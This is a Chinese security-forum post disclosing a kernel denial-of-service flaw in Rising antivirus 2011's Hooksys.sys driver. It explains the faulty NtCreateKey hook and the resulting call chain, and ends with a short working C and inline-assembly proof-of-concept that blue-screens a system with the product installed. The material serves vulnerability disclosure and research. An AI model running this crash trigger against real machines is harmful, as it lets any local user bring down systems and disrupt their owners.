标 题: 【原创】瑞星全功能安全软件2011内核拒绝服务漏洞
作 者: cxthl
时 间: 2012-05-27,08:23:54
链 接: http://bbs.pediy.com/showthread.php?t=151241
瑞星全功能安全软件2011是一款集“智能云安全”,智能安全防护,智能杀毒为一体的专业安全软件.
最新版本23.00.63.28(2012-5-27)存在内核拒绝服务漏洞,可导致任意权限用户在安装了瑞星的系统上引发蓝屏.
存在问题的组件:Hooksys.sys
版本:25.0.0.57,CheckSum = 0002ED85, TimeStamp = 4EDDA48B
数字签名仍为2011.12.6
瑞星在NtCreateKey HOOK函数中对ObjectAttributes结构体的参数校验不严格,就将参数传递给内核函数ZwOpenKey,结果引发蓝屏.在未安装瑞星的系统下没有影响.
调用过程:
ZwCreateKey -> hk_ZwCreateKey -> (检查了ObjectAttributes->ObjectName) -> ZwOpenKey -> 上个模式改为KernelMode,系统不检查参数有效性 ->ObOpenObjectByName -> ObpCaptureObjectCreateInformation -> 系统函数判断SecurityDescriptor域存在,且上个模式为内核模式,因此不做参数检查,直接将参数 ->SeCaptureSecurityDescriptor -> SeCaptureSecurityDescriptor访问错误的SecurityDescriptor地址,系统崩溃蓝屏
偏移Hooksys+e27a
//测试代码: WCHAR fuzz[] = L"xxxx_fuzz_rising"; HMODULE hlib = LoadLibrary(L"ntdll.dll"); PVOID p = GetProcAddress(hlib , "ZwCreateKey"); OBJECT_ATTRIBUTES oba ; UNICODE_STRING strname ; strname.Buffer = fuzz; strname.Length = wcslen(strname.Buffer) * sizeof(WCHAR) ; InitializeObjectAttributes(&oba , &strname ,0 , 0,(PVOID)0x80000000); __asm{ push 0 push 0 push 0 push 0 lea eax,oba push eax push 0 push 0 call p } return 0;
留言评论(旧系统):